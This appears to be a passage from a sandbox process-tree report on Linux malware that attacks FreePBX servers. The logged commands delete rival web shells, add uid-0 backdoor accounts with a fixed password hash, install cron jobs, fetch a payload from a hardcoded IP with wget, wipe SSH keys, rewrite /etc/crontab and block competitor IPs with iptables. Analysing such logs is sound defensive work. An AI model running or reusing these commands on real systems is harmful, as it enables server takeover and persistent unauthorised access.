      grep -Il PGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCIgPgo8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iY21kIiBzaXplPSc4MCcgLz4KICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9ImV4ZWN1dGUiIHZhbHVlPSJFeGVjdXRlIiAvPiA8aHIgLz4KPC9mb3JtPg
      4⤵
      PID:1015
  - - /bin/grep
      grep -Il PGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCIgPgo8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iY21kIiBzaXplPSc4MCcgLz4KICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9ImV4ZWN1dGUiIHZhbHVlPSJFeGVjdXRlIiAvPiA8aHIgLz4KPC9mb3JtPg
      4⤵
      PID:1015
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    PID:1014
- - /usr/bin/xargs
    xargs -0 grep -Il New-Pbx
    3⤵
    PID:1017
  - - /usr/local/sbin/grep
      grep -Il New-Pbx
      4⤵
      PID:1019
  - - /usr/local/bin/grep
      grep -Il New-Pbx
      4⤵
      PID:1019
  - - /usr/sbin/grep
      grep -Il New-Pbx
      4⤵
      PID:1019
  - - /usr/bin/grep
      grep -Il New-Pbx
      4⤵
      PID:1019
  - - /sbin/grep
      grep -Il New-Pbx
      4⤵
      PID:1019
  - - /bin/grep
      grep -Il New-Pbx
      4⤵
      PID:1019
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    PID:1016
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    PID:1018
- - /usr/bin/xargs
    xargs -0 grep -Il d6e08cf66c4e2c48bd74db31cf697615
    3⤵
    PID:1021
  - - /usr/local/sbin/grep
      grep -Il d6e08cf66c4e2c48bd74db31cf697615
      4⤵
      PID:1023
  - - /usr/local/bin/grep
      grep -Il d6e08cf66c4e2c48bd74db31cf697615
      4⤵
      PID:1023
  - - /usr/sbin/grep
      grep -Il d6e08cf66c4e2c48bd74db31cf697615
      4⤵
      PID:1023
  - - /usr/bin/grep
      grep -Il d6e08cf66c4e2c48bd74db31cf697615
      4⤵
      PID:1023
  - - /sbin/grep
      grep -Il d6e08cf66c4e2c48bd74db31cf697615
      4⤵
      PID:1023
  - - /bin/grep
      grep -Il d6e08cf66c4e2c48bd74db31cf697615
      4⤵
      PID:1023
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    PID:1020
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    PID:1022
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    PID:1024
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    PID:1026
- - /usr/bin/xargs
    xargs -0 grep -Il 9490f20681692b508c4b04cd14d79190
    3⤵
    PID:1025
  - - /usr/local/sbin/grep
      grep -Il 9490f20681692b508c4b04cd14d79190
      4⤵
      PID:1027
  - - /usr/local/bin/grep
      grep -Il 9490f20681692b508c4b04cd14d79190
      4⤵
      PID:1027
  - - /usr/sbin/grep
      grep -Il 9490f20681692b508c4b04cd14d79190
      4⤵
      PID:1027
  - - /usr/bin/grep
      grep -Il 9490f20681692b508c4b04cd14d79190
      4⤵
      PID:1027
  - - /sbin/grep
      grep -Il 9490f20681692b508c4b04cd14d79190
      4⤵
      PID:1027
  - - /bin/grep
      grep -Il 9490f20681692b508c4b04cd14d79190
      4⤵
      PID:1027
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    PID:1028
- - /usr/bin/xargs
    xargs -0 grep -Il 1c95bad5b03658f331833d6ea9e77887
    3⤵
    PID:1029
  - - /usr/local/sbin/grep
      grep -Il 1c95bad5b03658f331833d6ea9e77887
      4⤵
      PID:1031
  - - /usr/local/bin/grep
      grep -Il 1c95bad5b03658f331833d6ea9e77887
      4⤵
      PID:1031
  - - /usr/sbin/grep
      grep -Il 1c95bad5b03658f331833d6ea9e77887
      4⤵
      PID:1031
  - - /usr/bin/grep
      grep -Il 1c95bad5b03658f331833d6ea9e77887
      4⤵
      PID:1031
  - - /sbin/grep
      grep -Il 1c95bad5b03658f331833d6ea9e77887
      4⤵
      PID:1031
  - - /bin/grep
      grep -Il 1c95bad5b03658f331833d6ea9e77887
      4⤵
      PID:1031
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    PID:1030
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    PID:1032
- - /usr/bin/xargs
    xargs -0 grep -Il 9KzV53W471fILfew1M1DULk0
    3⤵
    PID:1033
  - - /usr/local/sbin/grep
      grep -Il 9KzV53W471fILfew1M1DULk0
      4⤵
      PID:1035
  - - /usr/local/bin/grep
      grep -Il 9KzV53W471fILfew1M1DULk0
      4⤵
      PID:1035
  - - /usr/sbin/grep
      grep -Il 9KzV53W471fILfew1M1DULk0
      4⤵
      PID:1035
  - - /usr/bin/grep
      grep -Il 9KzV53W471fILfew1M1DULk0
      4⤵
      PID:1035
  - - /sbin/grep
      grep -Il 9KzV53W471fILfew1M1DULk0
      4⤵
      PID:1035
  - - /bin/grep
      grep -Il 9KzV53W471fILfew1M1DULk0
      4⤵
      PID:1035
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    PID:1034
- - /usr/bin/xargs
    xargs -0 grep -Il FaTaLisTiCz_Fx
    3⤵
    PID:1037
  - - /usr/local/sbin/grep
      grep -Il FaTaLisTiCz_Fx
      4⤵
      PID:1039
  - - /usr/local/bin/grep
      grep -Il FaTaLisTiCz_Fx
      4⤵
      PID:1039
  - - /usr/sbin/grep
      grep -Il FaTaLisTiCz_Fx
      4⤵
      PID:1039
  - - /usr/bin/grep
      grep -Il FaTaLisTiCz_Fx
      4⤵
      PID:1039
  - - /sbin/grep
      grep -Il FaTaLisTiCz_Fx
      4⤵
      PID:1039
  - - /bin/grep
      grep -Il FaTaLisTiCz_Fx
      4⤵
      PID:1039
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    PID:1036
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    PID:1038
- - /usr/bin/xargs
    xargs -0 grep -Il hRWv5p9vRt90YFivFJjV3L5G
    3⤵
    PID:1041
  - - /usr/local/sbin/grep
      grep -Il hRWv5p9vRt90YFivFJjV3L5G
      4⤵
      PID:1043
  - - /usr/local/bin/grep
      grep -Il hRWv5p9vRt90YFivFJjV3L5G
      4⤵
      PID:1043
  - - /usr/sbin/grep
      grep -Il hRWv5p9vRt90YFivFJjV3L5G
      4⤵
      PID:1043
  - - /usr/bin/grep
      grep -Il hRWv5p9vRt90YFivFJjV3L5G
      4⤵
      PID:1043
  - - /sbin/grep
      grep -Il hRWv5p9vRt90YFivFJjV3L5G
      4⤵
      PID:1043
  - - /bin/grep
      grep -Il hRWv5p9vRt90YFivFJjV3L5G
      4⤵
      PID:1043
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    PID:1042
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    PID:1040
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    PID:1044
- - /usr/bin/xargs
    xargs -0 grep -Il IlXGEbLAy9GFYU
    3⤵
    PID:1045
  - - /usr/local/sbin/grep
      grep -Il IlXGEbLAy9GFYU
      4⤵
      PID:1047
  - - /usr/local/bin/grep
      grep -Il IlXGEbLAy9GFYU
      4⤵
      PID:1047
  - - /usr/sbin/grep
      grep -Il IlXGEbLAy9GFYU
      4⤵
      PID:1047
  - - /usr/bin/grep
      grep -Il IlXGEbLAy9GFYU
      4⤵
      PID:1047
  - - /sbin/grep
      grep -Il IlXGEbLAy9GFYU
      4⤵
      PID:1047
  - - /bin/grep
      grep -Il IlXGEbLAy9GFYU
      4⤵
      PID:1047
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    PID:1046
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    PID:1048
- - /usr/bin/xargs
    xargs -0 grep -Il yhVmfo8f
    3⤵
    PID:1049
  - - /usr/local/sbin/grep
      grep -Il yhVmfo8f
      4⤵
      PID:1051
  - - /usr/local/bin/grep
      grep -Il yhVmfo8f
      4⤵
      PID:1051
  - - /usr/sbin/grep
      grep -Il yhVmfo8f
      4⤵
      PID:1051
  - - /usr/bin/grep
      grep -Il yhVmfo8f
      4⤵
      PID:1051
  - - /sbin/grep
      grep -Il yhVmfo8f
      4⤵
      PID:1051
  - - /bin/grep
      grep -Il yhVmfo8f
      4⤵
      PID:1051
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    PID:1050
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    PID:1052
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    PID:1054
- - /usr/bin/xargs
    xargs -0 grep -Il pTFr1cffgGFs0PExj
    3⤵
    PID:1053
  - - /usr/local/sbin/grep
      grep -Il pTFr1cffgGFs0PExj
      4⤵
      PID:1055
  - - /usr/local/bin/grep
      grep -Il pTFr1cffgGFs0PExj
      4⤵
      PID:1055
  - - /usr/sbin/grep
      grep -Il pTFr1cffgGFs0PExj
      4⤵
      PID:1055
  - - /usr/bin/grep
      grep -Il pTFr1cffgGFs0PExj
      4⤵
      PID:1055
  - - /sbin/grep
      grep -Il pTFr1cffgGFs0PExj
      4⤵
      PID:1055
  - - /bin/grep
      grep -Il pTFr1cffgGFs0PExj
      4⤵
      PID:1055
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    PID:1056
- - /usr/bin/xargs
    xargs -0 grep -Il DDwrCQLX
    3⤵
    PID:1057
  - - /usr/local/sbin/grep
      grep -Il DDwrCQLX
      4⤵
      PID:1059
  - - /usr/local/bin/grep
      grep -Il DDwrCQLX
      4⤵
      PID:1059
  - - /usr/sbin/grep
      grep -Il DDwrCQLX
      4⤵
      PID:1059
  - - /usr/bin/grep
      grep -Il DDwrCQLX
      4⤵
      PID:1059
  - - /sbin/grep
      grep -Il DDwrCQLX
      4⤵
      PID:1059
  - - /bin/grep
      grep -Il DDwrCQLX
      4⤵
      PID:1059
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    - Reads runtime system information
    PID:1058
- - /usr/bin/xargs
    xargs -0 grep -Il v1vXWIUI01ODa0
    3⤵
    PID:1061
  - - /usr/local/sbin/grep
      grep -Il v1vXWIUI01ODa0
      4⤵
      PID:1063
  - - /usr/local/bin/grep
      grep -Il v1vXWIUI01ODa0
      4⤵
      PID:1063
  - - /usr/sbin/grep
      grep -Il v1vXWIUI01ODa0
      4⤵
      PID:1063
  - - /usr/bin/grep
      grep -Il v1vXWIUI01ODa0
      4⤵
      PID:1063
  - - /sbin/grep
      grep -Il v1vXWIUI01ODa0
      4⤵
      PID:1063
  - - /bin/grep
      grep -Il v1vXWIUI01ODa0
      4⤵
      PID:1063
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    PID:1062
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    PID:1060
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    PID:1064
- - /usr/bin/xargs
    xargs -0 grep -Il Lh76D9c0svOZkklrL9LurM9y
    3⤵
    - Reads runtime system information
    PID:1065
  - - /usr/local/sbin/grep
      grep -Il Lh76D9c0svOZkklrL9LurM9y
      4⤵
      PID:1067
  - - /usr/local/bin/grep
      grep -Il Lh76D9c0svOZkklrL9LurM9y
      4⤵
      PID:1067
  - - /usr/sbin/grep
      grep -Il Lh76D9c0svOZkklrL9LurM9y
      4⤵
      PID:1067
  - - /usr/bin/grep
      grep -Il Lh76D9c0svOZkklrL9LurM9y
      4⤵
      PID:1067
  - - /sbin/grep
      grep -Il Lh76D9c0svOZkklrL9LurM9y
      4⤵
      PID:1067
  - - /bin/grep
      grep -Il Lh76D9c0svOZkklrL9LurM9y
      4⤵
      PID:1067
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    PID:1066
- - /usr/bin/xargs
    xargs -0 grep -Il ix731zQb7mdDj9mdS
    3⤵
    PID:1069
  - - /usr/local/sbin/grep
      grep -Il ix731zQb7mdDj9mdS
      4⤵
      PID:1071
  - - /usr/local/bin/grep
      grep -Il ix731zQb7mdDj9mdS
      4⤵
      PID:1071
  - - /usr/sbin/grep
      grep -Il ix731zQb7mdDj9mdS
      4⤵
      PID:1071
  - - /usr/bin/grep
      grep -Il ix731zQb7mdDj9mdS
      4⤵
      PID:1071
  - - /sbin/grep
      grep -Il ix731zQb7mdDj9mdS
      4⤵
      PID:1071
  - - /bin/grep
      grep -Il ix731zQb7mdDj9mdS
      4⤵
      PID:1071
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    PID:1068
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    PID:1070
- - /usr/bin/xargs
    xargs -0 grep -Il 9VkwhyK7
    3⤵
    PID:1073
  - - /usr/local/sbin/grep
      grep -Il 9VkwhyK7
      4⤵
      PID:1075
  - - /usr/local/bin/grep
      grep -Il 9VkwhyK7
      4⤵
      PID:1075
  - - /usr/sbin/grep
      grep -Il 9VkwhyK7
      4⤵
      PID:1075
  - - /usr/bin/grep
      grep -Il 9VkwhyK7
      4⤵
      PID:1075
  - - /sbin/grep
      grep -Il 9VkwhyK7
      4⤵
      PID:1075
  - - /bin/grep
      grep -Il 9VkwhyK7
      4⤵
      PID:1075
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    PID:1074
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    PID:1072
- - /usr/bin/xargs
    xargs -0 grep -Il XOf2eR5oAraIs2
    3⤵
    - Reads runtime system information
    PID:1077
  - - /usr/local/sbin/grep
      grep -Il XOf2eR5oAraIs2
      4⤵
      PID:1079
  - - /usr/local/bin/grep
      grep -Il XOf2eR5oAraIs2
      4⤵
      PID:1079
  - - /usr/sbin/grep
      grep -Il XOf2eR5oAraIs2
      4⤵
      PID:1079
  - - /usr/bin/grep
      grep -Il XOf2eR5oAraIs2
      4⤵
      PID:1079
  - - /sbin/grep
      grep -Il XOf2eR5oAraIs2
      4⤵
      PID:1079
  - - /bin/grep
      grep -Il XOf2eR5oAraIs2
      4⤵
      PID:1079
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    PID:1078
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    PID:1076
- - /usr/bin/xargs
    xargs -0 grep -Il aIlL71SrsimmeePxqWBGOpRU
    3⤵
    PID:1081
  - - /usr/local/sbin/grep
      grep -Il aIlL71SrsimmeePxqWBGOpRU
      4⤵
      PID:1083
  - - /usr/local/bin/grep
      grep -Il aIlL71SrsimmeePxqWBGOpRU
      4⤵
      PID:1083
  - - /usr/sbin/grep
      grep -Il aIlL71SrsimmeePxqWBGOpRU
      4⤵
      PID:1083
  - - /usr/bin/grep
      grep -Il aIlL71SrsimmeePxqWBGOpRU
      4⤵
      PID:1083
  - - /sbin/grep
      grep -Il aIlL71SrsimmeePxqWBGOpRU
      4⤵
      PID:1083
  - - /bin/grep
      grep -Il aIlL71SrsimmeePxqWBGOpRU
      4⤵
      PID:1083
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    - Reads runtime system information
    PID:1082
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    PID:1080
- - /usr/bin/xargs
    xargs -0 grep -Il 6a4IRS7JN4x37MUcb
    3⤵
    PID:1085
  - - /usr/local/sbin/grep
      grep -Il 6a4IRS7JN4x37MUcb
      4⤵
      PID:1087
  - - /usr/local/bin/grep
      grep -Il 6a4IRS7JN4x37MUcb
      4⤵
      PID:1087
  - - /usr/sbin/grep
      grep -Il 6a4IRS7JN4x37MUcb
      4⤵
      PID:1087
  - - /usr/bin/grep
      grep -Il 6a4IRS7JN4x37MUcb
      4⤵
      PID:1087
  - - /sbin/grep
      grep -Il 6a4IRS7JN4x37MUcb
      4⤵
      PID:1087
  - - /bin/grep
      grep -Il 6a4IRS7JN4x37MUcb
      4⤵
      PID:1087
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    PID:1086
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    PID:1084
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    PID:1088
- - /usr/bin/xargs
    xargs -0 grep -Il kJnctpXKOi249YYSoaHyqnLW
    3⤵
    PID:1089
  - - /usr/local/sbin/grep
      grep -Il kJnctpXKOi249YYSoaHyqnLW
      4⤵
      PID:1091
  - - /usr/local/bin/grep
      grep -Il kJnctpXKOi249YYSoaHyqnLW
      4⤵
      PID:1091
  - - /usr/sbin/grep
      grep -Il kJnctpXKOi249YYSoaHyqnLW
      4⤵
      PID:1091
  - - /usr/bin/grep
      grep -Il kJnctpXKOi249YYSoaHyqnLW
      4⤵
      PID:1091
  - - /sbin/grep
      grep -Il kJnctpXKOi249YYSoaHyqnLW
      4⤵
      PID:1091
  - - /bin/grep
      grep -Il kJnctpXKOi249YYSoaHyqnLW
      4⤵
      PID:1091
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    PID:1090
- - /usr/bin/xargs
    xargs -0 grep -Il SHzAg0Y1W0QDZUXKj
    3⤵
    PID:1093
  - - /usr/local/sbin/grep
      grep -Il SHzAg0Y1W0QDZUXKj
      4⤵
      PID:1095
  - - /usr/local/bin/grep
      grep -Il SHzAg0Y1W0QDZUXKj
      4⤵
      PID:1095
  - - /usr/sbin/grep
      grep -Il SHzAg0Y1W0QDZUXKj
      4⤵
      PID:1095
  - - /usr/bin/grep
      grep -Il SHzAg0Y1W0QDZUXKj
      4⤵
      PID:1095
  - - /sbin/grep
      grep -Il SHzAg0Y1W0QDZUXKj
      4⤵
      PID:1095
  - - /bin/grep
      grep -Il SHzAg0Y1W0QDZUXKj
      4⤵
      PID:1095
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    PID:1092
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    - Reads runtime system information
    PID:1094
- - /usr/bin/xargs
    xargs -0 grep -Il hmQkq0io
    3⤵
    PID:1097
  - - /usr/local/sbin/grep
      grep -Il hmQkq0io
      4⤵
      PID:1099
  - - /usr/local/bin/grep
      grep -Il hmQkq0io
      4⤵
      PID:1099
  - - /usr/sbin/grep
      grep -Il hmQkq0io
      4⤵
      PID:1099
  - - /usr/bin/grep
      grep -Il hmQkq0io
      4⤵
      PID:1099
  - - /sbin/grep
      grep -Il hmQkq0io
      4⤵
      PID:1099
  - - /bin/grep
      grep -Il hmQkq0io
      4⤵
      PID:1099
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    PID:1096
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    PID:1098
- - /usr/bin/xargs
    xargs -0 grep -Il 2PGY4kKo38Axxy
    3⤵
    - Reads runtime system information
    PID:1101
  - - /usr/local/sbin/grep
      grep -Il 2PGY4kKo38Axxy
      4⤵
      PID:1103
  - - /usr/local/bin/grep
      grep -Il 2PGY4kKo38Axxy
      4⤵
      PID:1103
  - - /usr/sbin/grep
      grep -Il 2PGY4kKo38Axxy
      4⤵
      PID:1103
  - - /usr/bin/grep
      grep -Il 2PGY4kKo38Axxy
      4⤵
      PID:1103
  - - /sbin/grep
      grep -Il 2PGY4kKo38Axxy
      4⤵
      PID:1103
  - - /bin/grep
      grep -Il 2PGY4kKo38Axxy
      4⤵
      PID:1103
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    PID:1102
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    PID:1100
- - /usr/bin/xargs
    xargs -0 grep -Il AAAAB3NzaC1yc2EAAAADAQABAAABAQCLLJeL3g2dbjGE
    3⤵
    PID:1105
  - - /usr/local/sbin/grep
      grep -Il AAAAB3NzaC1yc2EAAAADAQABAAABAQCLLJeL3g2dbjGE
      4⤵
      PID:1107
  - - /usr/local/bin/grep
      grep -Il AAAAB3NzaC1yc2EAAAADAQABAAABAQCLLJeL3g2dbjGE
      4⤵
      PID:1107
  - - /usr/sbin/grep
      grep -Il AAAAB3NzaC1yc2EAAAADAQABAAABAQCLLJeL3g2dbjGE
      4⤵
      PID:1107
  - - /usr/bin/grep
      grep -Il AAAAB3NzaC1yc2EAAAADAQABAAABAQCLLJeL3g2dbjGE
      4⤵
      PID:1107
  - - /sbin/grep
      grep -Il AAAAB3NzaC1yc2EAAAADAQABAAABAQCLLJeL3g2dbjGE
      4⤵
      PID:1107
  - - /bin/grep
      grep -Il AAAAB3NzaC1yc2EAAAADAQABAAABAQCLLJeL3g2dbjGE
      4⤵
      PID:1107
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    PID:1104
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    PID:1106
- - /bin/mkdir
    mkdir -p /tmps /tmp /trmp /var/spool/asterisk/tmp
    3⤵
    PID:1108
- - /usr/bin/base64
    base64 -d
    3⤵
    - Deobfuscate/Decode Files or Information
    PID:1110
- - /bin/bash
    bash
    3⤵
    PID:1111
  - - /usr/sbin/useradd
      useradd -s /bin/bash -ou 0 -g 0 -p "\$1\$nRz1Cbtk\$6DnGs37n.OpPcgejUfp9p." newfpbxs
      4⤵
      Modifies password files for system users/ groups
      OS Credential Dumping
      Adds a user to the system
      PID:1112
    - - /usr/sbin/nscd
        
        nscd -i passwd
        5⤵
        
        PID:1113
    - - /usr/sbin/nscd
        
        nscd -i group
        5⤵
        
        PID:1114
    - - /usr/sbin/nscd
        
        nscd -i passwd
        5⤵
        
        PID:1115
    - - /usr/sbin/nscd
        
        nscd -i group
        5⤵
        
        PID:1116
- - /usr/bin/base64
    base64 -d
    3⤵
    - Deobfuscate/Decode Files or Information
    PID:1118
- - /bin/bash
    bash
    3⤵
    PID:1119
  - - /usr/sbin/useradd
      useradd -s /bin/bash -ou 0 -g 0 -p "\$1\$nRz1Cbtk\$6DnGs37n.OpPcgejUfp9p." newfpbx
      4⤵
      Modifies password files for system users/ groups
      OS Credential Dumping
      Adds a user to the system
      Reads runtime system information
      PID:1120
    - - /usr/sbin/nscd
        
        nscd -i passwd
        5⤵
        
        PID:1121
    - - /usr/sbin/nscd
        
        nscd -i group
        5⤵
        
        PID:1122
    - - /usr/sbin/nscd
        
        nscd -i passwd
        5⤵
        
        PID:1123
    - - /usr/sbin/nscd
        
        nscd -i group
        5⤵
        
        PID:1124
- - /usr/bin/base64
    base64 -d
    3⤵
    - Deobfuscate/Decode Files or Information
    PID:1126
- - /bin/bash
    bash
    3⤵
    PID:1127
  - - /usr/sbin/useradd
      useradd -s /bin/bash -ou 0 -g 0 -p "\$1\$nRz1Cbtk\$6DnGs37n.OpPcgejUfp9p." xhimax
      4⤵
      Modifies password files for system users/ groups
      OS Credential Dumping
      Adds a user to the system
      Reads runtime system information
      PID:1128
    - - /usr/sbin/nscd
        
        nscd -i passwd
        5⤵
        
        PID:1129
    - - /usr/sbin/nscd
        
        nscd -i group
        5⤵
        
        PID:1130
    - - /usr/sbin/nscd
        
        nscd -i passwd
        5⤵
        
        PID:1131
    - - /usr/sbin/nscd
        
        nscd -i group
        5⤵
        
        PID:1132
- - /usr/bin/crontab
    crontab -
    3⤵
    - Creates/modifies Cron job
    PID:1134
- - /usr/bin/crontab
    crontab -
    3⤵
    - Creates/modifies Cron job
    PID:1136
- - /usr/bin/crontab
    crontab -
    3⤵
    - Creates/modifies Cron job
    PID:1138
- - /usr/bin/crontab
    crontab -
    3⤵
    - Creates/modifies Cron job
    PID:1140
- - /usr/bin/crontab
    crontab -
    3⤵
    - Creates/modifies Cron job
    - Reads runtime system information
    PID:1142
- - /bin/mkdir
    mkdir -p /tmps /tmp /trmp /var/spool/asterisk/tmp
    3⤵
    PID:1143
- - /usr/bin/tr
    tr -dc a-z0-9
    3⤵
    PID:1145
- - /usr/bin/head
    head -c8
    3⤵
    PID:1146
- - /usr/bin/wget
    wget -q --no-check-certificate http://160.119.69.4/ -O /tmps/.yavqk1oq
    3⤵
    PID:1148
- - /usr/bin/wget
    wget -q --no-check-certificate http://160.119.69.4/ -O /tmp/.yavqk1oq
    3⤵
    - Writes file to tmp directory
    PID:1150
- - /usr/bin/wget
    wget -q --no-check-certificate http://160.119.69.4/ -O /trmp/.yavqk1oq
    3⤵
    PID:1152
- - /usr/bin/find
    find /home -name authorized_keys -exec sed -i /AAAAB3NzaC1yc2EAAAADAQABAAABAQCLLJeL3g2dbjGE/d "{}" ";"
    3⤵
    PID:1153
- - /bin/rm
    rm -f /root/.ssh/authorized_keys
    3⤵
    PID:1154
- - /bin/sed
    sed -i "s/62\\.171\\.157\\.156\\|178\\.214\\.77\\.7\\|45.234\\.176\\.202\\|46\\.37\\.21\\.63\\|162\\.217\\.98\\.180\\|202\\.170\\.120\\.157\\|111\\.223\\.32\\.50|212\\.83\\.160\\.70/160.119.69.4/g" /etc/crontab
    3⤵
    PID:1155
- - /sbin/iptables
    iptables -C INPUT -s 62.171.157.156 -j DROP
    3⤵
    PID:1156
- - /sbin/iptables
    iptables -A INPUT -s 62.171.157.156 -j DROP
    3⤵
    PID:1159
- - /sbin/iptables
    iptables -C OUTPUT -d 62.171.157.156 -j DROP
    3⤵
    PID:1160
- - /sbin/iptables
    iptables -A OUTPUT -d 62.171.157.156 -j DROP
    3⤵
    PID:1161
- - /sbin/iptables
    iptables -C INPUT -s 178.214.77.7 -j DROP
    3⤵
    PID:1163
- - /sbin/iptables
    iptables -A INPUT -s 178.214.77.7 -j DROP
    3⤵
    PID:1164
- - /sbin/iptables
    iptables -C OUTPUT -d 178.214.77.7 -j DROP
    3⤵
    PID:1165
- - /sbin/iptables
    iptables -A OUTPUT -d 178.214.77.7 -j DROP
    3⤵
    PID:1166
- - /sbin/iptables
    iptables -C INPUT -s 45.234.176.202 -j DROP
    3⤵
    PID:1168
- - /sbin/iptables
    iptables -A INPUT -s 45.234.176.202 -j DROP
    3⤵
    PID:1169
- - /sbin/iptables
    iptables -C OUTPUT -d 45.234.176.202 -j DROP
    3⤵
    PID:1170
- - /sbin/iptables
    iptables -A OUTPUT -d 45.234.176.202 -j DROP
    3⤵
    PID:1171
- - /sbin/iptables
    iptables -C INPUT -s 46.37.21.63 -j DROP
    3⤵
    PID:1173
- - /sbin/iptables
    iptables -A INPUT -s 46.37.21.63 -j DROP
    3⤵
    PID:1174
- - /sbin/iptables
    iptables -C OUTPUT -d 46.37.21.63 -j DROP
    3⤵
    PID:1175
- - /sbin/iptables
    iptables -A OUTPUT -d 46.37.21.63 -j DROP
    3⤵
    PID:1176
- - /sbin/iptables
    iptables -C INPUT -s 162.217.98.180 -j DROP
    3⤵
    PID:1178
- - /sbin/iptables
    iptables -A INPUT -s 162.217.98.180 -j DROP
    3⤵
    PID:1179
- - /sbin/iptables
    iptables -C OUTPUT -d 162.217.98.180 -j DROP
    3⤵
    PID:1180
- - /sbin/iptables
    iptables -A OUTPUT -d 162.217.98.180 -j DROP
    3⤵
    PID:1181
- - /sbin/iptables
    iptables -C INPUT -s 172.93.111.169 -j DROP
    3⤵
    PID:1183
- - /sbin/iptables
    iptables -A INPUT -s 172.93.111.169 -j DROP
    3⤵
    PID:1184
- - /sbin/iptables
    iptables -C OUTPUT -d 172.93.111.169 -j DROP
    3⤵
    PID:1185
- - /sbin/iptables
    iptables -A OUTPUT -d 172.93.111.169 -j DROP
    3⤵
    PID:1186
- - /sbin/iptables
    iptables -C INPUT -s 107.191.47.36 -j DROP
    3⤵
    PID:1188
- - /sbin/iptables
    iptables -A INPUT -s 107.191.47.36 -j DROP
    3⤵
    PID:1189
- - /sbin/iptables
    iptables -C OUTPUT -d 107.191.47.36 -j DROP
    3⤵
    PID:1190
- - /sbin/iptables
    iptables -A OUTPUT -d 107.191.47.36 -j DROP
    3⤵
    PID:1191
- - /sbin/iptables
    iptables -C INPUT -s 3.89.108.204 -j DROP
    3⤵
    PID:1193
- - /sbin/iptables
    iptables -A INPUT -s 3.89.108.204 -j DROP
    3⤵
    PID:1194
- - /sbin/iptables
    iptables -C OUTPUT -d 3.89.108.204 -j DROP
    3⤵
    PID:1195
- - /sbin/iptables
    iptables -A OUTPUT -d 3.89.108.204 -j DROP
    3⤵
    PID:1196
- - /sbin/iptables
    iptables -C INPUT -s 37.252.64.234 -j DROP
    3⤵
    PID:1198
- - /sbin/iptables
    iptables -A INPUT -s 37.252.64.234 -j DROP
    3⤵
    PID:1199
- - /sbin/iptables
    iptables -C OUTPUT -d 37.252.64.234 -j DROP
    3⤵
    PID:1200
- - /sbin/iptables
    iptables -A OUTPUT -d 37.252.64.234 -j DROP
    3⤵
    PID:1201
- - /sbin/iptables
    iptables -C INPUT -s 202.170.120.157 -j DROP
    3⤵
    PID:1203
- - /sbin/iptables
    iptables -A INPUT -s 202.170.120.157 -j DROP
    3⤵
    PID:1204
- - /sbin/iptables
    iptables -C OUTPUT -d 202.170.120.157 -j DROP
    3⤵
    PID:1205
- - /sbin/iptables
    iptables -A OUTPUT -d 202.170.120.157 -j DROP
    3⤵
    PID:1206
- - /sbin/iptables
    iptables -C INPUT -s 111.223.32.50 -j DROP
    3⤵
    PID:1208
- - /sbin/iptables
    iptables -A INPUT -s 111.223.32.50 -j DROP
    3⤵
    PID:1209
- - /sbin/iptables
